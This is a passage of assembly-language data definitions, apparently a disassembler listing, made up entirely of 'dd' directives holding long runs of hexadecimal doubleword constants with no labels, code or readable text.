dd 0C4206D70h, 0CFD79h, 95155CC3h, 37213E5Eh, 4011471h
dd 92CC1A3Fh, 50798AA5h, 1CB12622h, 46AF3A83h, 0B786915Ah
dd 0B696D0h, 4ADA7D20h, 0A194AE43h, 0DF542314h, 0DB90908h
dd 88001B5Ch, 787D183h, 893CD2DBh, 6AA060E7h, 0FC5EC9F3h
dd 22054800h, 5AEB0FECh, 420889Ch, 0CA919367h, 0A8C05474h
dd 540C934h, 53619DCEh, 2CB255h, 9FABE4C2h, 5C285EA8h
dd 1EC06CE2h, 8E345126h, 0F60CECB6h, 48661125h, 0E022C004h
dd 7A6BE326h, 4401AB01h, 6EC20F67h, 440C92C8h, 0EB891EFCh
dd 0B1D7FA10h, 6D468600h, 2C78C263h, 6F3803CBh, 0B398E253h
dd 0E1BF0D80h, 0A500F8F4h, 1615E63h, 0D595E3h, 0BC420EF0h
dd 3268AE11h, 0EE0073E2h, 74561DB9h, 12B88C57h, 9D6A959h
dd 0C4982050h, 9CA499EBh, 7AD68805h, 4AC9A60h, 0F822384Ch
dd 6BD2590Bh, 54C0B2ACh, 0CFBF4084h, 647F9C0Fh, 43B72707h
dd 0D37010B9h, 2879BA24h, 5CD8F037h, 6FDF685Ah, 0E892D096h
dd 615711F1h, 7D0019BCh, 7C5BCB53h, 295BAC01h, 70304017h
dd 0AF13ECh, 5CE76B3h, 0E1D09B7Ch, 14232107h, 515B4E7Eh
dd 0EB11E0h, 3CC07493h, 9A16DDh, 2005DFBCh, 0B6A2AE39h
dd 0C5009B72h, 0DC2769BDh, 7E6179h, 58AD482Ch, 5515B9AFh
dd 0B0591C28h, 51D7C709h, 401C5441h, 5B772C0h, 0BD309800h
dd 0A1A6D2B3h, 73D70504h, 20498CDCh, 84A009C4h, 0EFCC9895h
dd 0A8227C34h, 58B99CCh, 60CBBB1Eh, 1130A219h, 0F312FED5h
dd 0FF500A7Dh, 0D65DE0F0h, 0FEA31279h, 54C54CA2h, 26B6503h
dd 5B0FD096h, 67781D37h, 5F098221h, 88FA8A7Fh, 6B9C5901h
dd 254E6057h, 99D8452Eh, 1EDC8051h, 1B24ACA0h, 0F300943Bh
dd 3E8AEED0h, 5023036Ah, 7E9D4432h, 1230CB90h, 0D611AC00h
dd 0EDAABD95h, 43FD019Ch, 0D79B85B8h, 4A436E4h, 17E270Eh
dd 4B214C98h, 7F64C918h, 0BF803C21h, 3F9460h, 0C75DAB56h
dd 7D4565C0h, 9F10795Ch, 93465947h, 967000FBh, 2E3D752Dh
dd 5068DE03h, 5E802697h, 244C1277h, 0E14C1DAEh, 225B404h
dd 887104B4h, 0B0B63512h, 882F1508h, 0CC4099CFh, 1322E214h
dd 0A278013Bh, 98ECC500h, 1380C8BDh, 875EAC03h, 8E346095h
dd 433E09ADh, 0B07A9ED2h, 0CC68928h, 100C74A1h, 9CF211h
dd 7508E379h, 86BE8BA8h, 716BA701h, 0C68C8974h, 619C0841h
dd 931F1447h, 0CCC8F4A5h, 0FCFA00D1h, 52E6E77Eh, 4701984Eh
dd 0F3ABB7D4h, 0B048488Bh, 0D2AE1241h, 94CC70B6h, 0EF04899Bh
dd 2D0BA252h, 9A20D4FCh, 0AFF3F63Fh, 218C98E1h, 0DD7501FAh
dd 0E8439901h, 0DC186F10h, 258453F0h, 3C51B68Eh, 0AC111C03h
dd 437AC8BBh, 5BA700A5h, 0C2E78F61h, 3413AA2Ch, 0F0F02DE3h
dd 0E428ED8Bh, 2130E6D2h, 5FFC05A2h, 0A060BC1Bh, 8850C6AAh
dd 1400E248h, 0F74B3031h, 0B01F981Bh, 0F3C60177h, 0E8DC607Eh
dd 104A6EABh, 583C3C40h, 0DD938070h, 0E8BDFE9h, 0F50B2C87h
dd 17E6AA20h, 355B5614h, 0B081E85Dh, 4FAC28F6h, 0B634C0h
dd 317DA3F3h, 222DE0EBh, 0E79C2904h, 0C8834AC7h, 8760AFF5h
dd 7E5B25h, 7AAF9730h, 5F011B4Bh, 0D20C715Ch, 4E3C04F3h
dd 0D4E461ADh, 46108BEh, 0C1811CB6h, 0C557B9DEh, 0A3CAEC88h
dd 4201D92Eh, 6674852Fh, 2DD4F8C7h, 9D8344F6h, 7916DFD6h
dd 98A297ECh, 2E05E221h, 80ACA1E4h, 1944F681h, 0F0726A55h
dd 4388D179h, 0ABF951CFh, 17CE20D2h, 600C7104h, 281937Fh
dd 6BD114C7h, 89005C26h, 0C8BD1AC0h, 714C1C31h, 830840E8h
dd 0D10F0278h, 0F29C25CFh, 0D200F0F2h, 5CA7C079h, 34B859ACh
dd 2D660100h, 39E7D605h, 0A01D5823h, 67908897h, 9E7CEB00h
dd 801E12E9h, 0A055E64Eh, 8A177D68h, 8924185Dh, 0BA6F00B8h
dd 779C1434h, 0C70F201Bh, 0AF043AFh, 8B0A085Fh, 412D14C0h
dd 7E10F790h, 5A7AC232h, 2DB98217h, 11C1C40Ch, 2E0F2CE8h
dd 2E0480Ch, 1D4E50B0h, 0EB058C59h, 0D4B4AED5h, 47D21688h
dd 3528D07Bh, 3B3D6A01h, 0A16280B3h, 0A084F96Bh, 0A2171309h
dd 7CCB0589h, 8748FC37h, 8BE068FCh, 0EE6F016h, 73DA7135h
dd 0D665443Fh, 0AF1CB036h, 21F86608h, 8D86420h, 5E1002FFh
dd 18E61F4Eh, 21026642h, 0E52BAE02h, 1B02F4E4h, 6E1C561Eh
dd 0F8C89BA6h, 4C2A60h, 5E055AF8h, 0D8A4A7Dh, 8C0C7500h
dd 12C8B6A0h, 897C00FEh, 0B0B52DACh, 6400A259h, 2EBD8BE8h
dd 29B93B93h, 0ADFC72D4h, 109A7019h, 8AFD8A9Dh, 6A7964C1h
dd 501A5040h, 0B560DEh, 0C3964CE1h, 65BAE564h, 0F025B805h
dd 0F409D8E3h, 0FC581A5Dh, 84044B7Ch, 0F690D24Fh, 8069A07Ch
dd 8E9B690Ch, 931C3F2Ah, 208BE28h, 560C1777h, 84447A7Dh
dd 164B9202h, 0F8880604h, 0F02EA2E8h, 63D200E8h, 9BDA2FACh
dd 1D40ADDEh, 576105CAh, 9114775Ah, 0ECCF215Ch, 0A82D99ECh
dd 0E86C0Bh, 0BDD81504h, 608885Eh, 58A5452Eh, 2FFE6008h
dd 0B4F9E810h, 517FA00h, 44263650h, 408B3260h, 0C4F4C658h
dd 0A7E09163h, 100203F1h, 9BC2880h, 8D798EBh, 0B51440B1h
dd 921C0764h, 8CAB69Ch, 84007313h, 2713E884h, 98F100E6h
dd 3194B68Bh, 95000DF4h, 0C715FC19h, 24CFA0Eh, 3D5621BCh
dd 94C6A694h, 2B779207h, 22E06FAAh, 64CEB32Fh, 56B9B0E8h
dd 2C5FD4F6h, 0EC27AA28h, 53A048CFh, 14DEF0EBh, 5843AC6Ch
dd 0DAC8C4Fh, 0A1E8C510h, 7048C85Ah, 0C4318400h, 403D953Fh
dd 64235CD3h, 3B9F470Ah, 5D2700FCh, 4BC84D88h, 72D1E548h
dd 0CAE6F700h, 9659C0Dh, 5F180060h, 9B80C644h, 0CCBB15E4h
dd 10C51F0Bh, 0E298EC0h, 311B78EBh, 33F60F00h, 1C09D0A4h
dd 5CC0961h, 0F0222574h, 0FA6D22EEh, 44FF14E0h, 4EC548h
dd 0F4C3FA1h, 0F6B13CFh, 4A2CE02Ah, 0D2F09F80h, 0B00445Bh
dd 882B7E42h, 584DE3Fh, 0D4502FB9h, 9D9CC179h, 0A99410A1h
dd 8E20059h, 2298A17h, 60A88F04h, 0AF000F4Dh, 262BB665h
dd 0F4497Ch, 8BEB301Eh, 0F89F92DEh, 6A3CE37Dh, 0F6190ECCh
dd 37140C6h, 9DFFF4A1h, 1D622890h, 0C1A05D50h, 0C8D2D300h
dd 0A7916CE1h, 32D04EECh, 892F4F48h, 890899CEh, 8B4A9B18h
dd 0E8BC8094h, 87AAE984h, 7EEFC0B9h, 490077F9h, 37802C5Ah
dd 4E9E1281h, 0FD3020A2h, 71677D7Bh, 3F2021A8h, 1D5DD5A0h
dd 0BD9FF7BEh, 0B2949C00h, 0E3AA9DC0h, 0C47FCE25h, 0C7A70578h
dd 0C39CFE64h, 0DE86D87h, 0E0B957Eh, 110C4E9Ah, 0A4720154h
dd 0E4DC007Eh, 0C3A6767Eh, 0AA9762D5h, 282CEC60h, 5A617964h
dd 1881145Fh, 0D8202426h, 60EC89D2h, 0E071346h, 0E983F2D9h
dd 0C33BB370h, 0E86627ABh, 3EC4022h, 0B800F0F2h, 823E74F0h
dd 0ACC267h, 45805A95h, 8BB419CAh, 4B777F04h, 44A9CE11h
dd 121F8410h, 68D1FB21h, 0E037F7E3h, 83B4205Ah, 0DA13B55Bh
dd 34025FBFh, 0F67ED51Eh, 298C0388h, 2DC3EA77h, 828D48A1h
dd 4418D110h, 40B85683h, 0FE6D236Ch, 82ECF707h, 614266AAh
dd 1DA0605Fh, 214E80A2h, 0AA0EC8A4h, 0A174D259h, 148537A1h
dd 28507CE1h, 1A330CFh, 705E54Eh, 60CB02A1h, 6309CC27h
dd 4A551812h, 98E4B4h, 0D1BF7EF4h, 4625F863h, 7CD05E1Dh
dd 47F58B42h, 0BB64E0EFh, 230F39F1h, 0F077D300h, 0A3392A0Eh
dd 9D558003h, 0C91BC47Ch, 582203E9h, 0FCB2000h, 0BE37E021h
dd 30008E78h, 6FEF7BA5h, 0EEDE87Eh, 4E062267h, 401C973Fh
dd 34320D4Ch, 7E49DE9Ch
dd 28FE4108h, 0EB108298h, 9754D19Bh, 0CF88C87Bh, 99EAF509h
dd 0D7B091FFh, 6128F608h, 8922AC60h, 11BE82A1h, 72C3ACh
dd 0A25A9703h, 4AD0E6FEh, 9A01E45Ch, 1AC501Dh, 0B09BA045h
dd 0E4CD593Bh, 3C3A30C0h, 0D5C12B5h, 0CDC4E1B1h, 30196409h
dd 64574473h, 89C828AEh, 0F9FF1303h, 0B52F462Bh, 9DFE8008h
dd 7278C15Bh, 0FAFC93F4h, 664340F4h, 18C9129Fh, 0C020A95Ch
dd 0D11C86DAh, 12020016h, 2A90E3AFh, 88B1598Bh, 8813FD91h
dd 0A4B0009Ch, 4B1A8057h, 0F2EC6104h, 0F8C1419Fh, 0D020F9A1h
dd 0D8034CEBh, 3D1F9180h, 0F000F578h, 0C4B27783h, 1C57FE42h
dd 40270890h, 0D8892BEAh, 2E009650h, 0B528D44h, 904DA03h
dd 0E8051BB1h, 64DED481h, 2A7831A9h, 0F15E78CCh, 7109862h
dd 8B007609h, 4FF276BBh, 7A18E7E2h, 109C48ACh, 20B07EC7h
dd 26B459CDh, 439B0200h, 30B5F2A7h, 33930083h, 0BA192B7Dh
dd 0D5E9D927h, 0D0233A5Fh, 21E682ECh, 0F4C856AFh, 2225E4DEh
dd 9DF4C46Dh, 4B00C04Dh, 0EA564D5Eh, 38889903h, 73F4CD8Fh
dd 0AC6E3A61h, 0EC427AC6h, 92E49C25h, 4FE45ED8h, 87F2E320h
dd 2371A34Ah, 0A19FD47Dh, 566157ECh, 3E54E315h, 9BC0020Dh
dd 0D61781F2h, 262E4388h, 0D1123AD8h, 3BAAC902h, 0FC960AFCh
dd 889C4348h, 33AC60E0h, 4F7A7E0Fh, 137D6059h, 0EA1E99FCh
dd 0AE8700BDh, 0E2DA61B0h, 7700DCFEh, 84327E62h, 1C7DC666h
dd 42561E21h, 9C28A986h, 0A24548E0h, 80535538h, 8A85F870h
dd 5859E763h, 7D8E6479h, 6D6CB4D2h, 3201877Eh, 1DBC2DAh
dd 2C2FF61Eh, 0F912FA2Ch, 7086CED6h, 1EF30B68h, 84465915h
dd 7AE48805h, 3C84C224h, 0D15C20BEh, 73396F98h, 3EA3B054h
dd 5C212CF8h, 192F70A7h, 0A8044C95h, 5D4052C6h, 67C586C2h
dd 21CD2300h, 43F6837Dh, 0FD2B03E5h, 0A95AB55Ch, 651B7804h
dd 98B4E217h, 4F2804A3h, 4972244Eh, 569C9001h, 7B8E40Eh
dd 0EA917DC3h, 0F7C26041h, 0C401E070h, 1D61E2E9h, 0C42B36C8h
dd 0CBE48C94h, 8B678F00h, 6E7E5149h, 5E6600BAh, 0A24234ECh
dd 7948F0EBh, 0AB5D800Ch, 54237Ch, 123D37E2h, 659DC3F9h
dd 0E01A2000h, 498C173Ch, 40E200F3h, 84A343D9h, 7F5F148Ah
dd 7DBC38C8h, 34CFC58h, 0A78A6AFh, 0F0803A2Ah, 1501293Bh
dd 0E06104D4h, 0D0603871h, 0F3B80197h, 209C478Ah, 0D30BF4E3h
dd 9E9F821Fh, 9BBF39C6h, 0E1032A19h, 49BB0488h, 0C0305521h
dd 0A7BE4213h, 0B11B7602h, 5D572EB5h, 897D9890h, 94655A27h
dd 0EAA0900h, 0A080B281h, 0F64EA656h, 0B8284000h, 0DFC19843h
dd 0A48C5884h, 8E005522h, 728109F9h, 4C4FA2h, 0E7296F53h
dd 699D5BB5h, 9C01B877h, 0FD6C8293h, 9B60B3ADh, 0E0084B4Dh
dd 0C622AAECh, 0BCE40051h, 3F52B921h, 130EA077h, 0C1D7D19Eh
dd 0F05D1F17h, 28C0206Fh, 290087EEh, 0B0CAFE56h, 0D19BE4h
dd 5761E892h, 88FA9985h, 187B303h, 0DA4BB870h, 75A0A093h
dd 33E44A5h, 2A37D879h, 0C7A40F46h, 0ECA971ACh, 1D3862D6h
dd 80848C06h, 31EAB268h, 3AABED1Ch, 0B788C48h, 0CC986557h
dd 462C0560h, 42A7A014h, 406CDCDCh, 65F1671Bh, 22A6B80Fh
dd 99CC2BD9h, 0FCE4DBC8h, 0A10F0104h, 0CAB7CE63h, 0E0F320C3h
dd 0A02CDE28h, 94642D09h, 797482EFh, 0F27D2018h, 0D4B8CAA6h
dd 49C52E18h, 0E9A8619h, 0B4C7714Eh, 39D09700h, 0FFE44167h
dd 0F2458200h, 3471FE48h, 0FB05098Ah, 0CE87A1Eh, 0C0019E67h
dd 9AAA8E55h, 167F214Dh, 99380240h, 547308DFh, 15A04E00h
dd 9238DB1h, 7AD86022h, 0F9B77683h, 0DD68A5F7h, 4CB023D0h
dd 411600A5h, 2EA4A9B4h, 5F4600D8h, 0E63BB57h, 8D283A0Dh
dd 3ECBCC3h, 46B57F06h, 1E489BF7h, 4B5EAA6Bh, 68A28AA2h
dd 8CD9E7E0h, 4DE8FF85h, 0E955440h, 57D6E55h, 0ABD69409h
dd 608C9145h, 0B833DAh, 4D6E787Dh, 40D41D9h, 0CC890A02h
dd 2198C0A8h, 825AF08Ch, 0A9F634C2h, 3E5C7940h, 48F4BE00h
dd 9A910D24h, 0D2EA5B04h, 30EE8340h, 0EC27E3B4h, 0CD218D0Bh
dd 0F812026Bh, 6904007h, 3DC827FBh, 0D59DC8E0h, 0D44400B6h
dd 4347C837h, 7F090C82h, 599C3820h, 0BF18CEF0h, 2878017Eh
dd 0AD0178Ch, 17C0B450h, 64E2134Ah, 0D1B03900h, 9A10E23Bh
dd 188E9900h, 68AE704Bh, 0A55102FEh, 0F0690A01h, 7D01FCF0h
dd 0B732D495h, 0F02482C8h, 0EE533333h, 0FDC061C0h, 89808CA7h
dd 84568AE7h, 0C3006F47h, 6467A0h, 78DDD1D5h, 0F7F9B471h
dd 48B62104h, 8EFA422h, 28AE5704h, 0AD17FE40h, 5F2E224h
dd 4E86D714h, 0A0A4B820h, 0B71562h, 4A8D9095h, 976F26ECh
dd 85BE0902h, 0C07D13B9h, 4A01A400h, 2BE8C852h, 0B091A701h
dd 3293CD39h, 792C8D4h, 4F9DDB5Ah, 1C0E107Dh, 773E100Bh
dd 0E88937E0h, 0C6845727h, 0A36D18D0h, 96A6051Ah, 0F38FD9h
dd 0EDE63A90h, 8A07D5A4h, 0F9B9EEC2h, 0DFF51DC1h, 0AC431880h
dd 0C860799Ah, 165817FCh, 92EC1710h, 0D81F5C00h, 3D15EBh
dd 0F4E3B35Fh, 5B728E3Ah, 1BC6CC00h, 15AB61D3h, 0FA221D20h
dd 400F5894h, 8B40637Ch, 0D82507D0h, 63625F3Ch, 180055C3h
dd 347719B9h, 0C299FBA6h, 0EE2E4EA8h, 0F3F46207h, 9362E50Fh
dd 22E0A8F2h, 0A10134BDh, 5B0DE439h, 0DBE8A4DEh, 40C9628Fh
dd 7482E042h, 0A911F116h, 26401CF2h, 888C712Ah, 3C40540Ch
dd 70041159h, 20B8F40Dh, 60921D80h, 8A7912F1h, 0FC56BF5Ah
dd 7D538840h, 985EDB4Fh, 1C34106Ch, 544A01F5h, 70C6C821h
dd 71FBEC20h, 289803A9h, 0EED162D2h, 0C66493Dh, 0A8835A75h
dd 1FBBE2E8h, 0BBFC5F38h, 0E078B085h, 0C0E89479h, 0EF8D1494h
dd 8420D053h, 0F361BF87h, 0B423F47Dh, 0A901E700h, 0E4742B7Eh
dd 64C2F8Bh, 98E414F0h, 72D45509h, 4690ECB3h, 0D88A02E1h
dd 7C9EF762h, 54F246Ch, 0BC49D064h, 8FA05ACh, 0A0A43529h
dd 0B8A60BACh, 4C50197Fh, 89D2332h, 0E6F868A8h, 39B800AEh
dd 3B215F0Eh, 9A097D81h, 0D9D79B9Fh, 2FE500E8h, 0F998A499h
dd 1C686C63h, 70406484h, 0B8B2602Dh, 0AD192383h, 0E218B711h
dd 5A86209Ah, 8B6C6C58h, 0BBDC4835h, 0DED600E5h, 6CC2D517h
dd 8226D819h, 5C0E7047h, 0B722A077h, 26C82616h, 439CF5E0h
dd 7A26E18Ch, 0DE0064D0h, 862D4E5Fh, 48E6F28Bh, 304C0068h
dd 62E48C03h, 280EAC94h, 7B28361Eh, 87D01248h, 6A70B47Ah
dd 0ECDA5100h, 0A03947E3h, 8376989h, 29F224F2h, 112DDA00h
dd 0C079C215h, 487700DEh, 0A2B3181Bh, 6C356907h, 380068A7h
dd 589C9F6h, 3900066h, 0F1CB7B31h, 0DC00EA08h, 0B2E8B407h
dd 0E55ED2h, 69FFBEBDh, 0CDF28D7Ch, 890E4F9h, 0DFB4F90Eh
dd 14D9C74Fh, 48E86B10h, 3054000Dh, 0ADA9A62Ah, 35006EA2h
dd 0C8FED05Ah, 63EA28h, 0FAA1F39h, 482D4385h, 0E90F25E0h
dd 63A27749h, 80B5E0BCh, 36A0289h, 63C0115Dh, 0F698FAB4h
dd 0FF072AD0h, 0ED15ED6h, 0E0EB0FC2h, 1ED7A6CAh, 40E691DCh
dd 75A57992h, 0DE747008h, 5FEB9A1Ch, 6E37D240h, 20303Bh
dd 0D8451129h, 42258ED4h, 140198E2h, 755E71Ch, 0A82071B3h
dd 0FF30012h, 5794115Eh, 27F8798Fh, 0E8707F28h, 6784B801h
dd 733A0260h, 105DACCh, 0F8F5692Bh, 0D030BD2Fh, 2900A948h
dd 1495EC68h, 0C0735744h, 41909760h, 0DF00E22Eh, 0C86813EFh
dd 3F32AA1h, 0F2796B27h, 95CACA0Fh, 498C9983h, 7DE7B1A8h
dd 92B5E300h, 0FFE994F1h
dd 0ECBB00A5h, 0BD0AD231h, 0CE1D4AF8h, 278C36E1h, 934995h
dd 2D3744ABh, 0B21F6E2Eh, 96F65100h, 0E27A3912h, 49FB141Ch
dd 0F2019C06h, 2BE93B7Eh, 4C36ECD2h, 34670F0Ah, 7183ACDAh
dd 90758FF6h, 0DFBB4AA7h, 0C56A0960h, 830027FEh, 0E72D9397h
dd 1FB0068Ch, 89612867h, 47FA8A00h, 2F864E66h, 68D400BAh
dd 8DFE0DDEh, 3E065967h, 835F7E30h, 0A6AD58A0h, 570D3B07h
dd 97A0509Bh, 0C87A3747h, 0BD3D83ECh, 0C37C805Dh, 0DDB04F01h
dd 227900A8h, 0A74B40C6h, 19C14E0Fh, 8BA6BA5Fh, 131B19F0h
dd 4108D8h, 0B050070Dh, 5A7F89CFh, 0BE4F600h, 0FD8042FFh
dd 79E50724h, 0C1F5A786h, 0F05B1AD3h, 0E61E9C74h, 0B01D658h
dd 629E3808h, 7B3CFCCh, 0C6CBFBC2h, 2550C0DDh, 309730Fh
dd 802B9044h, 19141766h, 1813B838h, 807B1A58h, 18741F23h
dd 886318C1h, 4081D62Fh, 0D494D8B0h, 6828B72Ah, 376EB4B1h
dd 50315070h, 3C7EAB67h, 0CD0C03A3h, 0B780DE73h, 300F5E88h
dd 0C4581A44h, 18486A77h, 1F761F49h, 61183ED8h, 430616CAh
dd 0CECE0742h, 87868265h, 0EE239480h, 7F0AF188h, 0A44589D5h
dd 2A85081Dh, 4802E1DBh, 1026F28Bh, 9D40EA91h, 125C30CFh
dd 2308B0D8h, 38E81762h, 0DB213652h, 4A6BC0E1h, 3C001AD2h
dd 649BC0FDh, 0A0AA0689h, 60A4F7CCh, 0E1FB488Bh, 80A40CF6h
dd 504B054h, 289B2033h, 778EA878h, 42810019h, 3675879Dh
dd 470E1EDEh, 40150590h, 0B772BE6h, 119E897Ch, 89D47258h
dd 8C650001h, 7A9CB9DDh, 0F0BF8827h, 3C980142h, 0DB4760E0h
dd 0FCD5C9F9h, 9900E81Eh, 67BE0A1Dh, 4B086Fh, 0E4A3DFF7h
dd 9E2A5C96h, 0CE1C26FEh, 91C0E50Fh, 0E8766A42h, 5C400645h
dd 11713596h, 7A1DA300h, 22C4ED3Eh, 0AA901380h, 753200F4h
dd 0DC1CC815h, 0BB009570h, 0EBC19DF9h, 0C8BBA2Bh, 0C5093797h
dd 0EA00DF11h, 0B6DE3DC8h, 28391BD3h, 940A62h, 42EE0873h
dd 6178E849h, 0E45438h, 0B9B57B1Eh, 244E4313h, 8C8273h
dd 27E332A9h, 98A0F7E6h, 0CE18B8BAh, 2219887h, 6BF30049h
dd 0ACEC6388h, 0E2000856h, 0DABDFF91h, 3CB37D3h, 282C7A6Eh
dd 0E6887CE4h, 0CC018492h, 0FD9C158Ah, 0E0E6871Ch, 0FDB1A26h
dd 0BD31A299h, 71708541h, 0A5AA83BCh, 91CC05B9h, 9CC02E7Fh
dd 3E801FFFh, 5B368347h, 0F5E897B4h, 3B00AD94h, 3CE1A36Dh
dd 0EC77C372h, 30D7B31h, 4AA668BCh, 8F902C64h, 0B700FF34h
dd 0A73084C1h, 0FBF1270h, 4E9B72F7h, 4C5A2FA0h, 2C904DE9h
dd 74FB958h, 5FC094D5h, 71BAC0DFh, 773428h, 1CE3F7C2h
dd 3CA6C6D1h, 3A185713h, 2F41F20Fh, 0C479E02Ch, 15045Eh
dd 50444F65h, 0DD7F4CE3h, 2F319600h, 812390F9h, 754828h
dd 1E352E01h, 805E4D4Eh, 50145C26h, 77F1E1h, 8920FF65h
dd 3227A322h, 0EF97C703h, 1D7BC96Ah, 38D350h, 0BD016075h
dd 0CE00BAE3h, 9FBF92D7h, 6011F2E7h, 0A1EB287Eh, 0AF500928h
dd 81071460h, 0C7550DE5h, 1A14BC6h, 1570CB30h, 80F0873Ch
dd 0FE3D8650h, 3BFCE751h, 7C686Fh, 0D983AC36h, 59A6A232h
dd 73D3120Fh, 0B67D00FDh, 4803E928h, 6000CC99h, 86F2BE3Fh
dd 845C7ACAh, 4A9E0080h, 0FA6CA8AFh, 2CF4A0h, 0A64FD0D3h
dd 6962E636h, 0ADC14A00h, 3C3240Ch, 204601CFh, 2135C8D2h
dd 0EE98042h, 2BF85339h, 61701888h, 4941B130h, 8F6DEA00h
dd 2E1806ABh, 10A001E9h, 320BAD50h, 200AF5F7h, 68001DA5h
dd 0FA725ED3h, 298E0DBDh, 0A4747Ah, 890A279Ch, 9B3FCC91h
dd 0DCA121Bh, 2E4EA800h, 568BE3h, 1148FEDAh, 8A0B4B35h
dd 70EF8500h, 683FB993h, 5440397Ch, 0D238E404h, 8A0806Ah
dd 0DC73A1CBh, 73C59400h, 2B1F757Bh, 337C0074h, 0CFB8A788h
dd 3901BE19h, 5BB5DE49h, 58D459A3h, 0F3240038h, 8959BC4h
dd 114DBF8Bh, 849E2984h, 9AE6BD00h, 3B7E48ABh, 90CC631Ch
dd 1F49613h, 54E5550Bh, 604AE52Ah, 820EF5E2h, 0A37D069Ah
dd 0A41B2Fh, 6EC61819h, 0ED88E1F3h, 8CFF8109h, 7EBC83B6h
dd 801CE887h, 0C15B003Dh, 6BA1CEC5h, 0F3EAA655h, 516A6000h
dd 4A6C42A9h, 180F002Ah, 8F4F41BEh, 0FA003898h, 6FF56379h
dd 101B6Eh, 9DDCE008h, 8A7E0541h, 3F8B7801h, 0F8904AC5h
dd 0B095B082h, 1C40F239h, 0C1001671h, 7997A5C0h, 0A06327h
dd 18484EB4h, 60EF3955h, 0F325C4Ch, 404785E7h, 375D2C5Fh
dd 572E004Dh, 4633B59h, 0DB006C06h, 68720184h, 0A8968Ch
dd 9D7A5A31h, 0BA8B8354h, 2EDA9E02h, 0C88CE442h, 3E4338h
dd 3904B599h, 40CDE8C8h, 0F43C2E00h, 840C1EC4h, 15DE6E0h
dd 2F660F73h, 835296E2h, 9346B1D8h, 5EB4E83Ch, 6F09020Bh
dd 0F7E58B31h, 0C2524440h, 1C1460F7h, 65430F00h, 68D5402Bh
dd 602A0082h, 0A397B85Fh, 0FB00BD02h, 0ABE69196h, 25F3E5h
dd 4542120Ch, 901F3F88h, 93BFCF00h, 0A2BD5F31h, 0B4410040h
dd 3D199580h, 2028C110h, 0EF0ED4CDh, 0E97FF2B7h, 0AD0057EEh
dd 2E4FC6CFh, 9832500h, 646B524h, 0AA5500D7h, 0DB6A148Bh
dd 1F00B6B8h, 0A2734335h, 1C2D5A1Ah, 1F0B0585h, 0C39277h
dd 4CDBAC54h, 0DA6237A2h, 409F7A30h, 49D245h, 0A34E8A7Dh
dd 0B41D1B05h, 56C1430Eh, 0CC47E0EAh, 18AADB04h, 0A648947Fh
dd 8A1D432Ah, 32C52266h, 0C805F84h, 0B982563h, 0D8456283h
dd 349508A0h, 3998EBF7h, 0C9D72300h, 0FF5DCACEh, 0E5E20016h
dd 0F696D62Ah, 71C2CA4h, 0CC098AE3h, 0E3807F41h, 4FB509C4h
dd 25165A00h, 9BC99A8Fh, 5BF8A8AEh, 2CFD01BAh, 7C791B2h
dd 0BFECE814h, 38548B03h, 0D2782B0Fh, 32144889h, 75940077h
dd 88D41846h, 7C00106Eh, 2CC8E2C1h, 38C7DD9h, 0BA97D58Fh
dd 0B5E8EBE1h, 0BD00231Bh, 123B026Ah, 5C35AF2Ch, 710100FCh
dd 9C2F604Eh, 0F061B98Fh, 921F4B06h, 7809E414h, 8DF00BDAh
dd 9CA09A59h, 9934E81Bh, 0CBB1A907h, 0D845C1D6h, 4D0B8202h
dd 0CDA4E84Bh, 6392017Eh, 6039C453h, 9190D33Bh, 1B06A4CEh
dd 614A97E5h, 0D21900EEh, 0A221DC34h, 5934CEC3h, 38F89192h
dd 0E4629E03h, 27A0C9ECh, 10A358CEh, 0B003479Bh, 21E3C37Ah
dd 0EF02A4AAh, 0CF198A8Dh, 3600C102h, 4F42E8h, 8F074A30h
dd 0E52E895Eh, 9F5D4D39h, 35805628h, 318C6E0Fh, 0E19D1D07h
dd 0CCA8060h, 0E4F9D3EFh, 33A3BB00h, 1AA54C5Eh, 184E00F8h
dd 0BF214BD2h, 0DD000401h, 0AAFE5AAh, 1C609334h, 0C09CD788h
dd 21A2DF7Bh, 0F900A049h, 0C8A1812Bh, 3E35AD11h, 0E48022FEh
dd 0D327B2FDh, 180010B7h, 0F77413D0h, 7BE25FE0h, 8F287h
dd 2841C2FFh, 394DC4CAh, 80337900h, 0FC9F99A5h, 2E2CB0F0h
dd 1F9E0AB9h, 46B0E2Ah, 0FAC72F00h, 0DE5089F8h, 0EA0E648Ch
dd 6E88BF37h, 0D1A3C066h, 857355h, 0D7D9A91Ch, 9CF71102h
dd 82C1A4A8h, 3E75C800h, 3740F235h, 8C880115h, 50075F1Dh
dd 242281h, 0E5277FBCh, 5EFA59h, 30472EA5h, 550593ABh
dd 0AEF01092h, 89033478h, 9E8F4037h, 0CE85A8BFh, 0EE500064h
dd 20B683CFh, 0D5189217h, 413919B4h, 0C1DE22h, 7AF260Ah
dd 0D500E28Ah, 7E1E0B6Dh, 0A8E63D3Eh, 0F34974h, 297C8D45h
dd 6D39463Ah, 5C524E00h, 0E61ACAFEh, 837712ECh, 1D340FD5h
dd 0EEF133E0h, 8A1E372Dh, 807E9935h, 0FEA3E08Ch, 90B70C9h
dd 0E521EB52h, 81DA780h, 767C302Eh, 0F6243B0Eh, 71AEA336h
dd 0EB07A869h, 9E5F19B4h
dd 5F971195h, 0E0307F04h, 935B107Bh, 19A104C6h, 0C0D5E359h
dd 0AA9EAC5Fh, 8D3CBD09h, 0E612039Ah, 4AADC12Ch, 691B20h
dd 54E9D4D6h, 174FC7E8h, 8E33D800h, 6CD32191h, 0E10E0A95h
dd 9F7964h, 30DF72B4h, 41E447C6h, 55F53Ch, 8F3B03A0h, 0D80E9Ch
dd 0DE6BEBAh, 35F40519h, 16ECF00h, 49767B58h, 0FD380372h
dd 284565B0h, 0FE3092B8h, 8F6CB13Dh, 0E90EDDCBh, 1C5CDECAh
dd 18828087h, 0E72E5A0Ah, 62CB2300h, 4214E9F1h, 7EEA0022h
dd 13A15B8Bh, 50007CBCh, 893E3060h, 2519A7h, 0A9015FD7h
dd 0C1492267h, 71EC4814h, 0BBF82E9Ch, 86C0291Eh, 99BAC863h
dd 2C9F0015h, 0CB642531h, 3C124F8Dh, 5A1E4179h, 2A234C83h
dd 8020072Eh, 0F13B53h, 0E70C33BAh, 30826915h, 1683AC8h
dd 92E170AAh, 418F5189h, 0EBA05C83h, 9A225372h, 0D8BAE8EDh
dd 88899B00h, 0ADBC3E51h, 0EBF8076Bh, 0D0FD776Ah, 18E547Eh
dd 0FC38EC00h, 0A8C9E085h, 0A7E2B7h, 0A91420A0h, 0E17296FDh
dd 0FBF66198h, 426A31Fh, 6254A1C0h, 6B01B3h, 5D44556Eh
